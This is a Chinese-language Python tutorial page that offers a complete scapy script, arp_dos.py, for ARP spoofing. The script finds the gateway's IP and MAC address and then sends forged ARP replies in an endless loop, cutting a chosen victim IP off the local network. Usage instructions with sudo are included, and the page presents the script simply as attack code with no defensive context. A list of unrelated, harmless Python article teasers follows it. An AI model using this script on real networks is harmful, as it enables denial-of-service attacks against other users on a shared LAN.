python写的ARP攻击代码实例

yipeiwu_com6年前Python基础

注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题

复制代码 代码如下:

#coding:utf-8
#example :sudo  python arp_dos.py  192.168.1.103

from scapy.all import ARP,send
import os,re,sys

def get_gateway_ip():
    t=os.popen('route -n')
    for i in t:
        if i.startswith('0.0.0.0'):
            r=re.split("\s+",i)
            return r[1]

def get_gateway_hw(ip):
    t=os.popen('arp -e %s' % ip)
    for i in t:
        if i.startswith(ip):
            r=re.split("\s+",i)
            return r[2]

def hack(hackip):
    ip=get_gateway_ip()
    hw=get_gateway_hw(ip)
    arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
    #os.popen('ifconfig eth0 %s' % hackip )
    while 1:
        send(arp)

def help():
    print ("USEAGE: sudo python arp_dos.py 192.168.1.100")

def main():
    if len(sys.argv) != 2:
        help()
    else:
        hack(sys.argv[1])
if __name__=="__main__":
    main()

相关文章

python发送邮件接收邮件示例分享

接收邮件 复制代码 代码如下:import poplib,pdb,email,re,timefrom email import header POP_ADDR = r'pop.126.c...

bat和python批量重命名文件的实现代码

最近从某网站下载了一批文档,但是文件是用数字串命名的文档(很多图书馆都这样吧),现在我也下载完了这些文件,也有这些文件的列表,就是不能一个一个的把文件给重命名吧所以从网上找了这几个脚本。...

Python中最好用的命令行参数解析工具(argparse)

Python 做为一个脚本语言,可以很方便地写各种工具。当你在服务端要运行一个工具或服务时,输入参数似乎是一种硬需(当然你也可以通过配置文件来实现)。 如果要以命令行执行,那你需要解析...

解决python replace函数替换无效问题

python replace函数替换无效问题 str = "hello,china!" str.replace("hell","well") print(str) hello,C...

Python 统计字数的思路详解

 问题描述: 用 Python 实现函数 count_words(),该函数输入字符串 s 和数字 n,返回 s 中 n 个出现频率最高的单词。返回值是一个元组列表,包含出现次...